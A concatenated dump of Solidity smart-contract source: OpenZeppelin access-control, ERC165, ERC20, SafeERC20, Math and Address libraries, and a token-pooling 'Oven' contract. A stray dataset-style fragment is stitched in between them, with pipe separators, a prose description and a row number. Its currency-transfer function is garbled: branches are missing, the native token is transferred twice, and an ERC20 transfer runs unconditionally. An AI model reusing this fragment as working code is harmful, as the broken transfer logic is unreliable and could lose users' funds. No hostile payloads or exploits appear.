* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IWETH {
function deposit() external payable;
function withdraw(uint256 amount) external;
function transfer(address to, uint256 value) external returns (bool);
}
|
Transfers a given amount of currency. (With native token wrapping) withdraw from weth then transfer withdrawn native token to recipient store native currency in weth
|
function transferCurrencyWithWrapperAndBalanceCheck(
address _currency,
address _from,
address _to,
uint256 _amount,
address _nativeTokenWrapper
) internal {
if (_amount == 0) {
return;
}
if (_currency == NATIVE_TOKEN) {
if (_from == address(this)) {
IWETH(_nativeTokenWrapper).withdraw(_amount);
safeTransferNativeTokenWithWrapper(_to, _amount, _nativeTokenWrapper);
require(_amount == msg.value, "msg.value != amount");
safeTransferNativeTokenWithWrapper(_to, _amount, _nativeTokenWrapper);
}
safeTransferERC20WithBalanceCheck(_currency, _from, _to, _amount);
}
}
| 409,583
|
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.1;
import "./Oven.sol";
contract EthOven is Oven {
receive() external payable {
address(inputToken).call{value: msg.value}("");
_depositTo(msg.value, _msgSender());
}
function depositEth() external payable {
address(inputToken).call{value: msg.value}("");
_depositTo(msg.value, _msgSender());
}
function depositEthTo(address _to) external payable {
address(inputToken).call{value: msg.value}("");
_depositTo(msg.value, _to);
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./interfaces/IRecipe.sol";
contract Oven is AccessControl {
using SafeERC20 for IERC20;
using Math for uint256;
bytes32 public constant BAKER_ROLE = keccak256(abi.encode("BAKER_ROLE"));
uint256 public constant MAX_FEE = 10 * 10**16; //10%
IERC20 public inputToken;
IERC20 public outputToken;
uint256 public roundSizeInputAmount;
IRecipe public recipe;
struct Round {
uint256 totalDeposited;
mapping(address => uint256) deposits;
uint256 totalBakedInput;
uint256 totalBakedInputInTotal;
uint256 totalOutput;
}
struct ViewRound {
uint256 totalDeposited;
uint256 totalBakedInput;
uint256 totalBakedInputInTotal;
uint256 totalOutput;
}
Round[] public rounds;
mapping(address => uint256[]) userRounds;
uint256 public fee; //default 0% (10**16 == 1%)
address public feeReceiver;
event Deposit(address indexed from, address indexed to, uint256 amount);
event Withdraw(
address indexed from,
address indexed to,
uint256 inputAmount,
uint256 outputAmount
);
event FeeReceiverUpdate(
address indexed previousReceiver,
address indexed newReceiver
);
event FeeUpdate(uint256 previousFee, uint256 newFee);
event RecipeUpdate(address indexed oldRecipe, address indexed newRecipe);
event RoundSizeUpdate(uint256 oldRoundSize, uint256 newRoundSize);
modifier onlyBaker() {
require(hasRole(BAKER_ROLE, _msgSender()), "NOT_BAKER");
_;
}
modifier onlyAdmin() {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "NOT_ADMIN");
_;
}
function initialize(
address _inputToken,
address _outputToken,
uint256 _roundSizeInputAmount,
address _recipe
) external {
require(
address(inputToken) == address(0),
"Oven.initializer: Already initialized"
);
require(_inputToken != address(0), "INPUT_TOKEN_ZERO");
require(_outputToken != address(0), "OUTPUT_TOKEN_ZERO");
require(_recipe != address(0), "RECIPE_ZERO");
inputToken = IERC20(_inputToken);
outputToken = IERC20(_outputToken);
roundSizeInputAmount = _roundSizeInputAmount;
recipe = IRecipe(_recipe);
// create first empty round
rounds.push();
// approve input token
IERC20(_inputToken).safeApprove(_recipe, type(uint256).max);
//grant default admin role
_setRoleAdmin(DEFAULT_ADMIN_ROLE, DEFAULT_ADMIN_ROLE);
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
//grant baker role
_setRoleAdmin(BAKER_ROLE, DEFAULT_ADMIN_ROLE);
_setupRole(BAKER_ROLE, _msgSender());
}
function deposit(uint256 _amount) external {
depositTo(_amount, _msgSender());
}
function depositTo(uint256 _amount, address _to) public {
IERC20 inputToken_ = inputToken;
inputToken_.safeTransferFrom(_msgSender(), address(this), _amount);
_depositTo(_amount, _to);
}
function _depositTo(uint256 _amount, address _to) internal {
// if amount is zero return early
if (_amount == 0) {
return;
}
uint256 roundSizeInputAmount_ = roundSizeInputAmount; //gas saving
uint256 currentRound = rounds.length - 1;
uint256 deposited = 0;
while (deposited < _amount) {
//if the current round does not exist create it
if (currentRound >= rounds.length) {
rounds.push();
}
//if the round is already partially baked create a new round
if (rounds[currentRound].totalBakedInputInTotal != 0) {
currentRound++;
rounds.push();
}
Round storage round = rounds[currentRound];
uint256 roundDeposit =
(_amount - deposited).min(
roundSizeInputAmount_ - round.totalDeposited
);
round.totalDeposited += roundDeposit;
round.deposits[_to] += roundDeposit;
deposited += roundDeposit;
// only push rounds we are actually in
if (roundDeposit != 0) {
pushUserRound(_to, currentRound);
}
// if full amount assigned to rounds break the loop
if (deposited == _amount) {
break;
}
currentRound++;
}
emit Deposit(_msgSender(), _to, _amount);
}
function pushUserRound(address _to, uint256 _roundId) internal {
// only push when its not already added
if (
userRounds[_to].length == 0 ||
userRounds[_to][userRounds[_to].length - 1] != _roundId
) {
userRounds[_to].push(_roundId);
}
}
function withdraw(uint256 _roundsLimit) public {
withdrawTo(_msgSender(), _roundsLimit);
}
// Can I withdraw from rounds, that were not yet baked? How those uncomplete rounds be handled?
function withdrawTo(address _to, uint256 _roundsLimit) public {
uint256 inputAmount;
uint256 outputAmount;
uint256 userRoundsLength = userRounds[_msgSender()].length;
uint256 numRounds = userRoundsLength.min(_roundsLimit);
for (uint256 i = 0; i < numRounds; i++) {
// start at end of array for efficient popping of elements
uint256 roundIndex =
userRounds[_msgSender()][userRoundsLength - i - 1];
Round storage round = rounds[roundIndex];
//amount of input of user baked
uint256 bakedInput =
(round.deposits[_msgSender()] * round.totalBakedInput) /
round.totalDeposited;
//amount of output the user is entitled to
uint256 userRoundOutput;
if (bakedInput == 0) {
userRoundOutput = 0;
} else {
userRoundOutput =
(round.totalOutput * bakedInput) /
round.totalBakedInput;
}
// unbaked input
inputAmount += round.deposits[_msgSender()] - bakedInput;
//amount of output the user is entitled to
outputAmount += userRoundOutput;
round.totalDeposited -= round.deposits[_msgSender()] - bakedInput;
round.deposits[_msgSender()] = 0;
round.totalBakedInput -= bakedInput;
round.totalOutput -= userRoundOutput;
//pop of user round
userRounds[_msgSender()].pop();
}
if (inputAmount != 0) {
// handle rounding issues due to integer division inaccuracies
inputAmount = inputAmount.min(inputToken.balanceOf(address(this)));
inputToken.safeTransfer(_to, inputAmount);
}
if (outputAmount != 0) {
// handle rounding issues due to integer division inaccuracies
outputAmount = outputAmount.min(
outputToken.balanceOf(address(this))
);
outputToken.safeTransfer(_to, outputAmount);
}
emit Withdraw(_msgSender(), _to, inputAmount, outputAmount);
}
function bake(bytes calldata _data, uint256[] memory _rounds)
external
onlyBaker
{
uint256 maxInputAmount;
//get input amount
for (uint256 i = 0; i < _rounds.length; i++) {
// prevent round from being baked twice
if (i != 0) {
require(_rounds[i] > _rounds[i - 1], "Rounds out of order");
}
Round storage round = rounds[_rounds[i]];
maxInputAmount += (round.totalDeposited - round.totalBakedInput);
}
// subtract fee amount from input
uint256 maxInputAmountMinusFee =
(maxInputAmount * (10**18 - fee)) / 10**18;
//bake
(uint256 inputUsed, uint256 outputAmount) =
recipe.bake(
address(inputToken),
address(outputToken),
maxInputAmountMinusFee,
_data
);
uint256 inputUsedRemaining = inputUsed;
for (uint256 i = 0; i < _rounds.length; i++) {
Round storage round = rounds[_rounds[i]];
uint256 roundInputBaked =
(round.totalDeposited - round.totalBakedInputInTotal).min(
inputUsedRemaining
);
// skip round if it is already baked
if (roundInputBaked == 0) {
continue;
}
uint256 roundInputBakedWithFee =
(roundInputBaked * 10**18) / (10**18 - fee);
uint256 roundOutputBaked =
(outputAmount * roundInputBaked) / inputUsed;
round.totalBakedInput += roundInputBakedWithFee;
round.totalBakedInputInTotal += roundInputBakedWithFee;
inputUsedRemaining -= roundInputBaked;
round.totalOutput += roundOutputBaked;
//sanity check
require(
round.totalBakedInputInTotal <= round.totalDeposited,
"Input sanity check failed"
);
}
uint256 feeAmount = ((inputUsed * 10**18) / (10**18 - fee)) - inputUsed;
address feeReceiver_ = feeReceiver; //gas saving
if (feeAmount != 0) {
// if no fee receiver is set send it to the baker
if (feeReceiver == address(0)) {
feeReceiver_ = _msgSender();
}
inputToken.safeTransfer(feeReceiver_, feeAmount);
}
}
function setFee(uint256 _newFee) external onlyAdmin {
require(_newFee <= MAX_FEE, "INVALID_FEE");
emit FeeUpdate(fee, _newFee);
fee = _newFee;
}
function setRoundSize(uint256 _roundSize) external onlyAdmin {
emit RoundSizeUpdate(roundSizeInputAmount, _roundSize);
roundSizeInputAmount = _roundSize;
}
function setRecipe(address _recipe) external onlyAdmin {
emit RecipeUpdate(address(recipe), _recipe);
//revoke old approval
if (address(recipe) != address(0)) {
inputToken.approve(address(recipe), 0);
}
recipe = IRecipe(_recipe);
//set new approval
if (address(recipe) != address(0)) {
inputToken.approve(address(recipe), type(uint256).max);
}
}
function saveToken(
address _token,
address _to,
uint256 _amount
) external onlyAdmin {
IERC20(_token).transfer(_to, _amount);
}
function saveEth(address payable _to, uint256 _amount) external onlyAdmin {
_to.call{value: _amount}("");
}
function setFeeReceiver(address _feeReceiver) external onlyAdmin {
emit FeeReceiverUpdate(feeReceiver, _feeReceiver);
feeReceiver = _feeReceiver;
}
function roundInputBalanceOf(uint256 _round, address _of)
public
view
returns (uint256)
{
Round storage round = rounds[_round];
// if there are zero deposits the input balance of `_of` would be zero too
if (round.totalDeposited == 0) {
return 0;
}
uint256 bakedInput =
(round.deposits[_of] * round.totalBakedInput) /
round.totalDeposited;
return round.deposits[_of] - bakedInput;
}
function inputBalanceOf(address _of) public view returns (uint256) {
uint256 roundsCount = userRounds[_of].length;
uint256 balance;
for (uint256 i = 0; i < roundsCount; i++) {
balance += roundInputBalanceOf(userRounds[_of][i], _of);
}
return balance;
}
function roundOutputBalanceOf(uint256 _round, address _of)
public
view
returns (uint256)
{
Round storage round = rounds[_round];
if (round.totalBakedInput == 0) {
return 0;
}
//amount of input of user baked
uint256 bakedInput =
(round.deposits[_of] * round.totalBakedInput) /
round.totalDeposited;
//amount of output the user is entitled to
uint256 userRoundOutput =
(round.totalOutput * bakedInput) / round.totalBakedInput;
return userRoundOutput;
}
function outputBalanceOf(address _of) external view returns (uint256) {
uint256 roundsCount = userRounds[_of].length;
uint256 balance;
for (uint256 i = 0; i < roundsCount; i++) {
balance += roundOutputBalanceOf(userRounds[_of][i], _of);
}
return balance;
}
function getUserRoundsCount(address _user) external view returns (uint256) {
return userRounds[_user].length;
}
function getRoundsCount() external view returns (uint256) {
return rounds.length;
}
// Gets all rounds. Might run out of gas after many rounds
function getRounds() external view returns (ViewRound[] memory) {
return getRoundsRange(0, rounds.length - 1);
}
function getRoundsRange(uint256 _from, uint256 _to)
public
view
returns (ViewRound[] memory)
{
ViewRound[] memory result = new ViewRound[](_to - _from + 1);
for (uint256 i = _from; i <= _to; i++) {
Round storage round = rounds[i];
result[i].totalDeposited = round.totalDeposited;
result[i].totalBakedInput = round.totalBakedInput;
result[i].totalBakedInputInTotal = round.totalBakedInputInTotal;
result[i].totalOutput = round.totalOutput;
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)));
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.1;
interface IRecipe {
function bake(
address _inputToken,
address _outputToken,
uint256 _maxInput,
bytes memory _data
) external returns (uint256 inputAmountUsed, uint256 outputAmount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
